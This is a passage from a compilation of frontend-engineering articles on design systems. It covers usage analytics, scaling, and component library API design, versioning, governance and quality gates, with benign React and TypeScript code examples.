  repo: string
  file: string
  props: Record<string, PropUsage>
  hasOverrides: boolean
}

interface PropUsage {
  prop: string
  valueType: "literal" | "expression" | "spread"
  literalValue?: string // e.g., variant="primary"
}

async function analyzeFile(filePath: string): Promise<ComponentUsage[]> {
  const ast = parse(await readFile(filePath), {
    plugins: ["jsx", "typescript"],
  })

  const usages: ComponentUsage[] = []

  traverse(ast, {
    JSXOpeningElement(path) {
      const componentName = getComponentName(path.node)
      if (!isDesignSystemComponent(componentName)) return

      const props = extractProps(path.node.attributes)
      const hasOverrides = detectOverrides(path)

      usages.push({
        component: componentName,
        repo: currentRepo,
        file: filePath,
        props,
        hasOverrides,
      })
    },
  })

  return usages
}
```

**Detecting Overrides**

Overrides indicate API gaps or component inflexibility. Track several patterns:

```typescript
function detectOverrides(path: NodePath): boolean {
  // Pattern 1: className prop with non-token values
  const classNameAttr = path.node.attributes.find((attr) => attr.name?.name === "className")
  if (classNameAttr && !usesDesignTokenClasses(classNameAttr)) {
    return true
  }

  // Pattern 2: style prop with inline styles
  const styleAttr = path.node.attributes.find((attr) => attr.name?.name === "style")
  if (styleAttr) {
    return true
  }

  // Pattern 3: Wrapper div with styling
  const parent = path.parentPath
  if (parent.isJSXElement() && hasInlineStyling(parent)) {
    return true
  }

  return false
}
```

**Looker/Dashboard Integration**

Push analytics data to a BI tool for visualization and team access:

```typescript title="scripts/upload-to-looker.ts"
async function uploadToLooker(results: AnalysisResults) {
  const records = results.flatMap((repo) =>
    repo.components.map((usage) => ({
      timestamp: new Date().toISOString(),
      repo: repo.name,
      team: repo.team,
      component: usage.component,
      version: repo.designSystemVersion,
      props: JSON.stringify(usage.props),
      has_overrides: usage.hasOverrides,
    })),
  )

  await lookerClient.insert("design_system_usage", records)
}
```

**Dashboard Views**

Build dashboards that answer strategic questions:

1. **Adoption Overview**: Percentage of repos using design system, version distribution, trend over time
2. **Component Popularity**: Top 20 components by usage count, components with zero usage
3. **Override Hotspots**: Components with highest override rates, specific props being worked around
4. **Team Health**: Per-team adoption rates, version currency, override frequency
5. **Codemod Impact**: Before/after metrics showing migration automation effectiveness

**Data-Driven Prioritization**

Use analytics to drive roadmap decisions:

| Signal                                        | Action                                               |
| --------------------------------------------- | ---------------------------------------------------- |
| Component has 500+ usages, high override rate | Expand API, add variants to cover override cases     |
| Component has 0 usages across all repos       | Candidate for deprecation in next major version      |
| Specific prop unused across 95% of usages     | Make it optional, improve defaults                   |
| 40% of repos still on v2                      | Invest in v2→v3 codemod, outreach to lagging teams   |
| One team has 80% override rate                | Investigate: API gaps or team needs custom training? |

**Privacy and Sensitivity**

Usage analytics can feel like surveillance. Mitigate concerns by:

- Aggregating data—report team-level, not individual-level metrics
- Sharing dashboards openly—teams should see their own data
- Framing as enablement—"How can we help you?" not "Why aren't you compliant?"
- Using data to improve the system, not to criticize teams

## Scaling and Evolution

### Managing Growth

Success creates its own challenges. As adoption grows, you must plan how the system will scale with organizational growth, what happens when new teams or products join, how to maintain consistency across increasingly diverse needs, and what the long-term vision looks like as the system matures.

**Organizational Scaling**

Expand the core team based on adoption growth and workload, not preemptively. For large organizations, implement federated governance where product areas have representation in design system decisions. Create regional or product-specific champions who understand both the design system and their domain's unique needs. Establish clear contribution guidelines that enable product teams to contribute components without creating bottlenecks.

**Technical Scaling**

Modular architecture becomes essential as the component library grows—monolithic packages create upgrade friction and bundle bloat. Automated testing and quality gates prevent regressions as more contributors touch the codebase. Performance monitoring and optimization ensure the design system doesn't become a performance liability. Documentation and knowledge management systems must scale with the component count; undiscoverable components are unused components.

**Process Scaling**

Standardized onboarding for new teams reduces the cost of adoption and ensures consistent understanding. Automated compliance checking (linting, accessibility testing, visual regression) catches issues before they reach production. Self-service tools and resources reduce support burden on the core team. Clear escalation paths for complex issues prevent teams from getting stuck.

**Measuring Scale Effectiveness**

**Scalability Metrics** track system performance under load—both technical (build times, package size) and organizational (response times, queue depth). **Maintenance Overhead** measures time spent on system maintenance relative to feature development; growing overhead indicates technical debt. **Team Efficiency** ensures developer productivity with the system improves as the system matures, not degrades. **Quality Consistency** across all products verifies that scaling hasn't compromised standards.

**Scaling Timeline**

Plan for scaling before reaching capacity limits—reactive scaling creates crises. Review scaling needs quarterly as part of strategic planning. Implement scaling improvements incrementally, validating each change before adding complexity.

### Future-Proofing

The frontend landscape evolves rapidly—frameworks rise and fall, design trends shift, and browser capabilities expand. Future-proofing requires strategies for handling technology changes, mechanisms for design evolution, approaches to maintaining backward compatibility, and clear sunset policies for deprecated components.

**Technology Evolution Strategy**

A framework-agnostic core architecture (design tokens, design principles, accessibility guidelines) survives framework changes even when component implementations must be rewritten. A plugin system for framework-specific features allows adopting new frameworks without abandoning the existing ecosystem. Regular technology stack assessments (annually at minimum) identify emerging technologies worth adopting and deprecated technologies worth sunsetting. Clear migration paths for major changes reduce the cost of evolution for consuming teams.

**Design Evolution Strategy**

Design token versioning allows visual refresh without breaking changes—semantic tokens can map to new primitives while maintaining backward compatibility. Component deprecation policies with clear timelines give teams advance notice to migrate. Migration guides for design updates explain not just what changed but how to update existing implementations. A/B testing for significant design changes validates improvements with real users before full rollout.

**Compatibility Management**

Semantic versioning for all changes communicates the impact of updates—major versions signal breaking changes, minor versions indicate new features, patch versions contain bug fixes. Deprecation warnings and timelines (typically 6-12 months) provide adequate migration runway. Automated migration tools (codemods) reduce the cost of adopting new versions. Comprehensive testing across versions ensures changes don't break existing integrations.

**Measuring Future-Readiness**

**Technology Relevance** tracks framework usage across the organization; a design system tied to a framework nobody uses is obsolete. **Design Currency** assesses alignment with current design trends and accessibility standards. **Migration Success** measures the success rate of automated migrations; low rates indicate tooling gaps. **User Impact** evaluates how changes affect the end-user experience, ensuring evolution serves users rather than just developers.

**Future-Proofing Timeline**

Monitor technology trends continuously through industry news, conference talks, and community discussions. Plan for major changes 6-12 months in advance to allow adequate preparation. Communicate changes 3 months before implementation so teams can plan their migration work.

## Conclusion

Design system implementation succeeds when architecture anticipates change, distribution minimizes friction, and operations treat the system as a product.

**Architecture decisions that compound**: The hybrid approach—platform-agnostic tokens with framework-specific wrappers—survives technology shifts. RSC compatibility, headless accessibility primitives, and tree-shakeable bundles are table stakes. These decisions in year one constrain what's possible in year three.

**Technical enablement as a multiplier**: Codemods transform major version upgrades from multi-sprint projects to single-command operations. Repository scanning reveals adoption patterns. Shared CDN hosting eliminates duplicate downloads. These investments pay dividends with every consuming application.

**Operations that sustain momentum**: Version compatibility windows create upgrade pressure without breaking stability. Usage analytics drive prioritization better than feature requests. The design system team that measures what matters—which components, which props, which overrides—makes better decisions than the team that relies on intuition.

## Appendix

### Prerequisites

- Familiarity with React component patterns (hooks, context, composition)
- Understanding of npm package publishing and semantic versioning
- Experience with CI/CD pipelines (GitHub Actions or similar)
- Exposure to design systems as a consumer or contributor
- Basic knowledge of AST (Abstract Syntax Tree) concepts for codemod understanding

### Terminology

| Term                      | Definition                                                                                                    |
| ------------------------- | ------------------------------------------------------------------------------------------------------------- |
| **DTCG**                  | Design Tokens Community Group—W3C community group authoring the token specification (v2025.10 stable)         |
| **RSC**                   | React Server Components—React architecture where components render on the server, reducing client bundle size |
| **Headless Components**   | UI components providing behavior and accessibility without styling (Radix, React Aria, Headless UI)           |
| **Codemod**               | Programmatic code transformation using AST manipulation, typically via jscodeshift                            |
| **Strangler Fig Pattern** | Migration strategy where new functionality uses the new system while legacy is incrementally replaced         |
| **Module Federation**     | Webpack/Vite feature enabling runtime sharing of JavaScript modules across separately deployed applications   |
| **Changesets**            | Versioning tool for monorepos that tracks changes at PR time and automates version bumps and changelogs       |
| **Detachment Rate**       | Percentage of component instances where teams override or disconnect from the design system version           |

### Summary

- **Architecture**: Hybrid approach (platform-agnostic tokens + framework wrappers) survives technology shifts; RSC compatibility and headless primitives are table stakes for 2025+
- **Token pipeline**: DTCG v2025.10 is the stable standard; Style Dictionary v4 provides first-class support with transitive transforms
- **Component implementation**: Build on Radix/React Aria for accessibility; support both RSC-safe and interactive variants; export compound patterns with convenient presets
- **Distribution**: Changesets for semantic versioning; ESM + CJS dual output; `preserveModules` for tree-shaking; shared CDN for cross-app caching
- **Migration**: Strangler Fig for gradual adoption; codemods automate breaking changes; version compatibility windows create upgrade pressure
- **Technical enablement**: Repository scanning reveals adoption patterns; usage analytics (component, prop, override frequency) drive prioritization; codemods reduce upgrade friction to near-zero

### References

**Specifications**

- [W3C Design Tokens Specification v2025.10](https://www.designtokens.org/) - First stable version of the DTCG specification
- [Style Dictionary v4](https://styledictionary.com/) - Industry-standard token transformation with DTCG support
- [Semantic Versioning](https://semver.org/) - MAJOR.MINOR.PATCH versioning standard

**Tools and Libraries**

- [Radix UI Primitives](https://www.radix-ui.com/) - Unstyled, accessible component primitives
- [React Aria](https://react-spectrum.adobe.com/react-aria/) - Adobe's accessibility hooks library (40+ components)
- [Storybook 8](https://storybook.js.org/) - Component development environment with visual testing
- [Chromatic](https://www.chromatic.com/) - Visual regression testing with Git-based baselines
- [jscodeshift](https://github.com/facebook/jscodeshift) - Facebook's codemod toolkit
- [Changesets](https://github.com/changesets/changesets) - Monorepo versioning and changelog automation

**Core Maintainer Content**

- [Martin Fowler - Strangler Fig Application](https://martinfowler.com/bliki/StranglerFigApplication.html) - Original pattern description
- [Nathan Curtis - Team Models for Scaling](https://medium.com/eightshapes-llc/team-models-for-scaling-a-design-system-2cf9d03be6a0) - Centralized, federated, and hybrid models

**Migration Patterns**

- [AWS Strangler Fig Pattern](https://docs.aws.amazon.com/prescriptive-guidance/latest/cloud-design-patterns/strangler-fig.html) - Implementation guidance
- [Azure Strangler Fig Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/strangler-fig) - Microsoft's architectural perspective

**Enterprise Examples**

- [Vista SWAN Design System](https://vista.design/swan/) - 80+ components with ESLint/Stylelint plugins, codemods, Figma UI kit
- [Shopify Polaris](https://polaris.shopify.com/) - Governance at scale across 100+ teams

**Related Articles in This Series**

- [Design System Adoption: Foundations and Governance](../design-system-adoption-foundations/README.md) - ROI analysis, executive buy-in, team structures, governance models
- [Design Tokens and Theming Architecture](../design-tokens-and-theming/README.md) - Token taxonomy, naming conventions, theming, Style Dictionary pipeline
- [Component Library Architecture and Governance](../component-library-architecture-and-governance/README.md) - API design patterns, versioning, contribution workflows

---

## Component Library Architecture and Governance

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/design-systems/component-library-architecture-and-governance
**Category:** Frontend Engineering / Design Systems
**Description:** A component library is a product with internal customers. Its success depends on API stability, contribution workflows, and operational rigor. This article covers the architectural decisions and governance models that separate thriving design systems from abandoned experiments.The focus is on React-based systems, though most principles apply across frameworks.

# Component Library Architecture and Governance

A component library is a product with internal customers. Its success depends on API stability, contribution workflows, and operational rigor. This article covers the architectural decisions and governance models that separate thriving design systems from abandoned experiments.

The focus is on React-based systems, though most principles apply across frameworks.

<figure>

![Component libraries operate as products with three interconnected layers: API design shapes developer experience, governance manages change, and operations ensure sustainable adoption.](./component-libraries-operate-as-products-with-three-interconnected-layers-api-des.svg)

<figcaption>Component libraries operate as products with three interconnected layers: API design shapes developer experience, governance manages change, and operations ensure sustainable adoption.</figcaption>
</figure>

## Abstract

A component library succeeds when it achieves three things: predictable APIs that don't break consumers, a governance model that balances velocity with consistency, and operational practices that treat documentation and tooling as first-class features.

**API design** centers on composition over configuration. Compound components using React Context provide explicit state management without prop drilling. Supporting both controlled and uncontrolled modes maximizes flexibility. Polymorphic components (via `as` or `asChild` props) give consumers DOM control. Accessibility must be baked into the API layer—handled by the component, not delegated to consumers.

**Versioning** follows Semantic Versioning (SemVer) strictly. Deprecation happens across release cycles with clear migration paths. Codemods automate breaking changes at scale. Per-component versioning signals maturity in large systems.

**Governance** scales through federation. A dedicated core team maintains standards while distributed contributors add domain-specific components. RFCs (Request for Comments) formalize substantial changes. Inner-source practices—visibility, pull requests, documentation—break silos and increase reuse.

**Quality gates** automate what can be automated. Accessibility testing with axe-core catches roughly 57% of WCAG issues but doesn't replace manual audits. Visual regression testing (Chromatic, Percy) prevents unintended changes. Performance budgets prevent library bloat.

**Adoption** requires active enablement: playbooks, champions, training. Measure contextually—who uses which components, not just download counts.

## Component API Design Principles

API design determines whether teams adopt your library or route around it. The goal is flexibility without complexity—components that handle common cases simply while enabling advanced customization.

### Composition Patterns

The compound component pattern solves the "prop explosion" problem. Instead of passing every option to a single component, related pieces compose together:

```tsx title="Dialog compound components" collapse={1-4, 18-20}
import { Dialog } from "@acme/ui"

// Usage - explicit, composable structure
function ConfirmDialog({ onConfirm, onCancel }) {
  return (
    <Dialog.Root>
      <Dialog.Trigger>Delete Item</Dialog.Trigger>
      <Dialog.Portal>
        <Dialog.Overlay />
        <Dialog.Content>
          <Dialog.Title>Confirm Deletion</Dialog.Title>
          <Dialog.Description>This action cannot be undone.</Dialog.Description>
          <Dialog.Close onClick={onCancel}>Cancel</Dialog.Close>
          <button onClick={onConfirm}>Confirm</button>
        </Dialog.Content>
      </Dialog.Portal>
    </Dialog.Root>
  )
}
```

The parent component (`Dialog.Root`) manages shared state via React Context. Child components access state through that context. This pattern provides explicit structure without prop drilling and enables consumers to omit pieces they don't need.

Radix UI, Headless UI, and Chakra UI all use this pattern. The alternative—a single `<Dialog>` component with 15+ props—creates APIs that are hard to learn, harder to type, and impossible to extend.

**Trade-offs**: Compound components require more JSX to use correctly. Simple use cases take more lines than a single-component API. The explicit structure is worth it for complex components but overkill for primitives like `Button`.

### Controlled vs Uncontrolled Components

Components should support both controlled and uncontrolled modes. Controlled components receive state externally via props:

```tsx title="Controlled input" {3,5}
function ControlledExample() {
  const [value, setValue] = useState("")

  return <Input value={value} onChange={(e) => setValue(e.target.value)} />
}
```

Uncontrolled components manage state internally:

```tsx title="Uncontrolled input" {3}
function UncontrolledExample() {
  const inputRef = useRef<HTMLInputElement>(null)

  return <Input ref={inputRef} defaultValue="" />
}
```

**Design rule**: A component must not switch between controlled and uncontrolled modes during its lifetime. React will warn if `value` changes from `undefined` to a defined value, indicating the component switched modes.

Controlled mode enables validation on every keystroke and predictable state management. Uncontrolled mode works better for non-React integrations and reduces re-renders for large forms.

### Polymorphic Components

The `as` prop allows consumers to change the rendered element:

```tsx title="Polymorphic button usage"
<Button as="a" href="/dashboard">
  Go to Dashboard
</Button>
```

This keeps styling and behavior while rendering the appropriate semantic element. MUI, Chakra UI, and Styled Components use this pattern extensively.

Radix UI takes an alternative approach with `asChild`:

```tsx title="asChild pattern"
<Dialog.Trigger asChild>
  <Button variant="outline">Open Dialog</Button>
</Dialog.Trigger>
```

When `asChild={true}`, the component clones the child element instead of rendering its default DOM element. Props and behavior pass to the child. This keeps DOM semantics explicit—consumers see exactly what renders.

**TypeScript complexity**: Polymorphic components require advanced typing to infer the correct props for the `as` target. Libraries like `@radix-ui/react-polymorphic` provide utility types, but the complexity is real. `asChild` avoids this by delegating element choice entirely to consumers.

### Accessibility Built Into APIs

Accessibility implementation belongs in the component library, not consumer code. Components should handle:

- **ARIA attributes**: `aria-expanded`, `aria-controls`, `aria-labelledby`
- **Focus management**: Trapping focus in modals, restoring focus on close
- **Keyboard navigation**: Arrow keys for menus, Escape to close
- **Role semantics**: Correct `role` attributes for custom widgets

Radix Primitives implements WAI-ARIA design patterns for all components. React Aria (Adobe) provides 40+ hooks with built-in behavior, adaptive interactions, and internationalization (i18n). The goal is zero-cost abstractions—accessibility without forcing styling opinions.

**Why this matters**: Implementing accessible dialogs, comboboxes, or disclosure widgets correctly is difficult. Getting focus management right requires handling edge cases most developers won't discover until production. Centralizing this logic in the library means fixing it once benefits everyone.

## Versioning, Deprecation, and Upgrade Paths

Versioning signals stability to consumers. Get it wrong and teams will pin to old versions indefinitely rather than risk breakage.

### Semantic Versioning for Component Libraries

SemVer (Semantic Versioning) uses `MAJOR.MINOR.PATCH`:

- **Major**: Breaking changes to existing APIs
- **Minor**: New features without breaking existing functionality
- **Patch**: Bug fixes and documentation updates

This seems obvious, but the definition of "breaking change" matters. In component libraries, breaking changes include:

- Removing or renaming props
- Changing default values
- Altering event handler signatures
- Modifying DOM structure (affects selectors in tests)
- Changing TypeScript types

**Design decision**: Some teams version the entire library (monolithic—all components at v3.2.1). Others version per-component (Button v2.1.0, Dialog v1.4.0). Per-component versioning signals component maturity and allows independent release cadences. Atlassian adopted per-component SemVer by 2023 with detailed changelogs per package. The overhead is higher but the flexibility benefits large systems.

### Deprecation Patterns

Deprecation requires lead time. The standard flow:

1. Mark component as deprecated in code and design library
2. Issue a minor release with deprecation warnings (console warnings in development)
3. Document migration path—what replaces it, how to migrate
4. Maintain at least one minor release cycle before removal
5. Remove in the next major version

**Rolling deprecation** spreads impact over time. Instead of deprecating 10 components simultaneously, deprecate 2-3 per minor release. Teams can plan updates incrementally.

```tsx title="Deprecation warning pattern" collapse={1-2, 9-12}
import { useEffect } from "react"

function DeprecatedCard(props) {
  useEffect(() => {
    console.warn(
      "[ACME UI] Card is deprecated and will be removed in v4.0. " +
        "Use Surface instead: https://acme.design/migration/card",
    )
  }, [])

  return <Surface {...props} />
}
```

### Codemods for Automated Migration

Codemods transform code programmatically using Abstract Syntax Tree (AST) manipulation. For breaking changes, they automate what would otherwise be manual find-and-replace across codebases.

jscodeshift is the primary tool. A codemod for renaming a prop:

```js title="Codemod: rename 'size' to 'scale'" collapse={1-2}
// Run: npx jscodeshift -t rename-size-prop.js src/**/*.tsx
export default function transformer(file, api) {
  const j = api.jscodeshift

  return j(file.source)
    .find(j.JSXAttribute, { name: { name: "size" } })
    .filter((path) => {
      const parent = path.parentPath.value
      return parent.name?.name === "Button"
    })
    .forEach((path) => {
      path.node.name.name = "scale"
    })
    .toSource()
}
```

**Real-world usage**: MUI provides codemods for API updates between major versions. Next.js ships codemods for async API transformations. React 19's upgrade guide includes codemods for deprecated patterns.

Codemods reduce migration burden and accelerate major version adoption. The investment pays off at scale—writing a codemod once saves hundreds of manual changes across consuming teams.

## Contribution and Review Workflows

Governance determines who can change what, how changes are proposed, and what quality bars must be met. The model you choose affects both quality and velocity.

### RFC Process for Substantial Changes

The RFC (Request for Comments) process formalizes design consensus before implementation. Large changes—new components, API overhauls, breaking changes—go through structured review.

A typical RFC workflow:

1. **Propose**: Author submits RFC document describing the problem, proposed solution, alternatives considered, and migration impact
2. **Discuss**: Core team and stakeholders comment, request changes, raise concerns
3. **Decide**: Core team approves, requests revision, or rejects
4. **Implement**: Approved RFCs move to implementation
5. **Document**: API documentation and migration guides accompany release

Carbon Design System maintains RFCs in a dedicated repository. Each RFC has a standard template covering motivation, detailed design, drawbacks, alternatives, and adoption strategy.

**Why RFCs matter**: They create a written record of design decisions. Six months later, when someone asks "why does this API work this way?", the RFC explains the reasoning and rejected alternatives.

### Federated vs Centralized Ownership

**Centralized model**: A single team makes all decisions and builds all components. This works for early-stage systems or organizations requiring strict brand consistency. The bottleneck is capacity—requests queue behind the core team's bandwidth.

**Federated model**: Multiple teams contribute under shared guidelines. A core team maintains standards, tooling, and governance. Product teams contribute domain-specific components. Atlassian evolved to this model with "design system champions" embedded across the organization.

**Trade-offs**:

| Aspect       | Centralized               | Federated                              |
| ------------ | ------------------------- | -------------------------------------- |
| Consistency  | High (single team vision) | Requires active governance             |
| Velocity     | Limited by core capacity  | Scales with contributors               |
| Expertise    | Deep in core team         | Distributed across org                 |
| Coordination | Minimal                   | Requires clear processes               |
| Adoption     | Push model (core decides) | Pull model (teams request what's used) |

Most mature systems land on federated with strong governance. Shopify's Polaris balances autonomy with coherence across 100+ teams through design proposal templates and designated councils for triage.

### Inner-Source Practices

Inner-source applies open-source practices within an organization. The component library becomes an internal project where any team can contribute, subject to review.

Seven key practices:

1. **Visibility**: Development happens in the open (within the org). Anyone can see PRs, issues, roadmaps
2. **Forking**: Teams can fork for experimentation before contributing upstream
3. **Pull requests**: All changes go through code review
4. **Testing**: Automated quality gates (see next section)
5. **CI/CD**: Continuous integration validates every change
6. **Documentation**: Contributing guides, architecture decision records (ADRs), API docs
7. **Issue tracking**: Public (internal) backlog for feature requests and bugs

**Benefits**: Breaks silos. Leverages expertise across the entire developer pool. Increases reuse because teams see what exists before building custom solutions. "Given enough eyeballs, all bugs are shallow"—broader review catches issues faster.

### Contribution Criteria

Clear criteria prevent scope creep. Atlassian's design system explicitly states what it accepts:

- **Accepts**: Bug fixes, small enhancements (new icons, color variants), accessibility improvements
- **May decline**: Major feature enhancements, entirely new components/patterns that don't generalize

The test: Does this addition benefit multiple teams, or is it specific to one product? Components that generalize belong in the library. One-offs belong in product codebases.

## Documentation and Example Strategy

Documentation is a product feature. Undocumented components are undiscoverable. Poorly documented components generate support burden that scales with adoption.

### Storybook as Documentation

Storybook provides a UI development environment for isolated component development. It doubles as interactive documentation.

**Design tokens integration**: The `storybook-design-token` addon displays token documentation alongside components. Consumers see which tokens a component uses, enabling consistent customization.

**Story patterns**:

```tsx title="Button.stories.tsx" collapse={1-3, 10-20}
import type { Meta, StoryObj } from "@storybook/react"
import { Button } from "./Button"

const meta: Meta<typeof Button> = {
  component: Button,
  tags: ["autodocs"],
}

export default meta
type Story = StoryObj<typeof Button>

export const Primary: Story = {
  args: { variant: "primary", children: "Primary Action" },
}

export const Disabled: Story = {
  args: { variant: "primary", disabled: true, children: "Cannot Click" },
}

export const AsLink: Story = {
  args: { as: "a", href: "/dashboard", children: "Navigate" },
}
```

The `autodocs` tag generates API documentation from TypeScript props. Custom doc blocks add prose explanations, usage guidelines, and accessibility notes.

### API Documentation Generation

TypeScript definitions are documentation. Tools like `react-docgen-typescript` extract props, descriptions, and types to generate API tables.

**Best practice**: Write JSDoc comments on prop interfaces:

```tsx title="Button.types.ts"
export interface ButtonProps {
  /**
   * Visual style variant.
   * @default 'primary'
   */
  variant?: "primary" | "secondary" | "ghost"

  /**
   * Prevents interaction and applies disabled styling.
   * Sets `aria-disabled` when true.
   */
  disabled?: boolean
}
```

These comments become the documentation. No separate doc maintenance required.

### Interactive Examples

Static code examples show syntax. Interactive examples demonstrate behavior. For complex components (data tables, rich text editors), interactive playgrounds let consumers experiment before integrating.

**Pattern**: Embed simplified versions of Storybook stories in documentation sites. Or use tools like Sandpack for editable, runnable examples directly in docs.

## Quality Gates: A11y, Performance, Testing

Quality gates automate enforcement. Manual review doesn't scale; automated checks catch regressions before merge.

### Accessibility Testing

**axe-core** scans for accessibility issues based on WCAG standards. Integration with Jest via `jest-axe`:

```tsx title="Button.a11y.test.tsx" collapse={1-4, 14-16}
import { render } from "@testing-library/react"
import { axe, toHaveNoViolations } from "jest-axe"
import { Button } from "./Button"

expect.extend(toHaveNoViolations)

describe("Button accessibility", () => {
  it("has no axe violations", async () => {
    const { container } = render(<Button>Click me</Button>)
    const results = await axe(container)
    expect(results).toHaveNoViolations()
  })
})
```

**Limitation**: Automated testing catches approximately 57% of WCAG issues on average (per axe-core's own documentation). Manual audits remain essential. Automated tests catch regressions on known issues and provide immediate feedback during development.

### Visual Regression Testing

Visual regression testing compares screenshots between builds to detect unintended changes.

**Chromatic** (by Storybook maintainers):

- Integrates directly with Storybook
- Captures screenshots of every story
- Highlights pixel differences
- Requires approval for intentional changes
- Free tier: 5,000 screenshots/month

**Percy** (by BrowserStack):

- Framework-agnostic (works beyond Storybook)
- Cross-browser screenshot comparison
- AI-powered detection ignores anti-aliasing, focuses on meaningful changes

**When to use which**: Chromatic for component-focused workflows where Storybook is the source of truth. Percy for full-page validation across browsers and devices.

### Performance Budgets

As libraries grow, bundle size creeps up. Performance budgets enforce limits:

- **Per-component size**: Alert if a component exceeds N KB
- **Tree-shaking validation**: Ensure unused components don't end up in consumer bundles
- **CSS growth rate**: Track design system CSS impact on overall page weight

**Metrics worth tracking**:

| Metric                     | What it measures                                            |
| -------------------------- | ----------------------------------------------------------- |
| Component bundle size      | JS/CSS cost of individual components                        |
| Import cost                | Size added when a consumer imports a component              |
| Time to render             | Performance impact on consuming applications                |
| Design system CSS coverage | Percentage of page styles coming from system vs custom code |

Set thresholds and fail CI when exceeded. This forces conversations about whether new features are worth the size cost.

## Operating Model and Staffing

Sustainable design systems require dedicated investment. Side-of-desk efforts produce side-of-desk results.

### Team Composition

Atlassian's design system team (as of 2023): 18 full-time equivalents (FTEs)—5 designers, 1 content writer, 1 product manager, 11 developers.

**Core team responsibilities**:

- Strategic direction and roadmap
- Component API design and implementation
- Tooling (Storybook config, build pipelines, codemods)
- Governance (RFC reviews, contribution triage)
- Documentation and training

**Part-time contributors** from product teams add domain expertise. They build components their teams need, following core team patterns. This federated contribution scales capacity without scaling headcount.

**Design system champions** are advocates embedded in product teams. Not full-time, but engaged—they drive adoption within their teams and surface feedback to the core team.

### Adoption Measurement

Download counts measure distribution, not adoption. Better metrics:

**Code-based**:

- Dependency version freshness (how current are consumers?)
- Component import frequency (which components are actually used?)
- Custom component ratio (how much UI is system vs custom?)

**Contextual** (most valuable):

- Which teams use which components?
- What patterns correlate with successful adoption?
- Where do teams override or detach from system components?

Figma's Library Analytics tracks variable, style, and component usage across organizations. For code, tools like Omlet analyze production codebases to show actual component usage.

**Success criteria to track**:

| Metric                       | Target direction |
| ---------------------------- | ---------------- |
| Designer productivity        | Increase         |
| Custom component creation    | Decrease         |
| Time to build new features   | Decrease         |
| Visual consistency score     | Increase         |
| Accessibility audit findings | Decrease         |

### Active Enablement

Adoption doesn't happen passively. Teams need:

- **Playbooks**: Step-by-step checklists for integrating the system
- **Ambassador programs**: Champions who advocate within their teams
- **Training sessions**: Workshops on component usage and contribution
- **Recognition**: Visibility for teams and individuals contributing quality components
- **Clear pathways**: How to request new components, report bugs, propose changes

Shopify evolved Polaris from passive documentation to active enablement. The result: faster onboarding and higher adoption across 100+ teams.

## Conclusion

Component libraries succeed as products. API stability creates trust. Governance manages change without creating bottlenecks. Documentation and tooling reduce friction. Quality gates enforce standards automatically.

The compound component pattern, SemVer discipline, federated contribution models, and automated quality gates form a foundation that scales. The operating model—dedicated team, embedded champions, active enablement—sustains momentum.

Start with strong API conventions. Add governance when contribution volume demands it. Automate everything that can be automated. Measure what matters: not downloads, but actual adoption in shipped products.

## Appendix

### Prerequisites

- Experience building and maintaining frontend applications at scale
- Familiarity with React component patterns (hooks, context, composition)
- Understanding of SemVer and package management
- Exposure to design systems (either as consumer or contributor)

### Terminology

- **Compound Components**: Pattern where a parent component provides state via Context, and child components consume and act on that state
- **Controlled Component**: Component whose state is managed externally via props (value + onChange pattern)
- **Uncontrolled Component**: Component that manages its own internal state, accessed via refs
- **Polymorphic Component**: Component that can render as different HTML elements via an `as` prop
- **RFC (Request for Comments)**: Formal process for proposing and discussing substantial changes before implementation
- **Inner-source**: Applying open-source development practices (visibility, PRs, documentation) to internal projects
- **Codemod**: Programmatic code transformation using AST manipulation, typically via jscodeshift
- **axe-core**: Open-source JavaScript library for automated accessibility testing based on WCAG standards

### Summary

- **API design**: Compound components for complex widgets, controlled/uncontrolled support, polymorphic props for DOM flexibility, accessibility baked in
- **Versioning**: Strict SemVer, deprecation with lead time, codemods for automated migration, per-component versioning for large systems
- **Governance**: RFC process for substantial changes, federated model for scale, inner-source practices for transparency
- **Quality**: Automated a11y testing (catches ~57% of issues), visual regression testing, performance budgets
- **Operations**: Dedicated core team plus distributed contributors, measure adoption contextually, active enablement over passive documentation

### References

- [Radix UI Primitives - Composition Guide](https://www.radix-ui.com/primitives/docs/guides/composition) - Compound component patterns and asChild
- [Radix Primitives Philosophy](https://github.com/radix-ui/primitives/blob/main/philosophy.md) - Accessibility-first design principles
- [React Aria Documentation](https://react-spectrum.adobe.com/react-aria/) - Adobe's accessibility hooks library
- [Headless UI](https://headlessui.com/) - Tailwind Labs' unstyled accessible components
- [MUI API Design Guide](https://mui.com/material-ui/guides/api/) - Prop spreading and polymorphic patterns
- [Semantic Versioning Specification](https://semver.org/) - MAJOR.MINOR.PATCH semantics
- [Versioning Design Systems](https://medium.com/eightshapes-llc/versioning-design-systems-48cceb5ace4d) - Nathan Curtis on monolithic vs per-component versioning
- [Design System Governance Process](https://bradfrost.com/blog/post/a-design-system-governance-process/) - Brad Frost on RFC and review workflows
- [Carbon Design System RFCs](https://github.com/carbon-design-system/rfcs) - IBM's public RFC repository
- [Atlassian Design System Contribution](https://atlassian.design/contribution/) - Acceptance criteria and federated model
- [Team Models for Scaling a Design System](https://medium.com/eightshapes-llc/team-models-for-scaling-a-design-system-2cf9d03be6a0) - Nathan Curtis on centralized vs federated teams
- [What is InnerSource](https://about.gitlab.com/topics/version-control/what-is-innersource/) - GitLab's guide to internal open-source practices
- [Shopify Polaris Design System](https://www.shopify.com/partners/blog/design-system) - Governance at scale across 100+ teams
- [axe-core Accessibility Engine](https://github.com/dequelabs/axe-core) - Automated WCAG testing
- [jest-axe](https://www.npmjs.com/package/jest-axe) - Jest integration for accessibility testing
- [Chromatic Visual Testing](https://www.chromatic.com/) - Storybook-native visual regression
- [Percy Visual Testing](https://percy.io/) - Cross-browser screenshot comparison
- [Adopting Design Systems](https://medium.com/eightshapes-llc/adopting-design-systems-71e599ff660a) - Playbooks and enablement strategies
- [Measuring Design System Adoption](https://www.figma.com/blog/how-pinterests-design-systems-team-measures-adoption/) - Pinterest's contextual metrics approach

---

## Design Tokens and Theming Architecture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/design-systems/design-tokens-and-theming
**Category:** Frontend Engineering / Design Systems
**Description:** Design tokens encode design decisions as platform-agnostic data, enabling consistent UI across web, iOS, and Android from a single source of truth. This article covers the token taxonomy, semantic layering for theming, multi-platform transformation pipelines, and governance strategies that make enterprise design systems maintainable at scale.

# Design Tokens and Theming Architecture

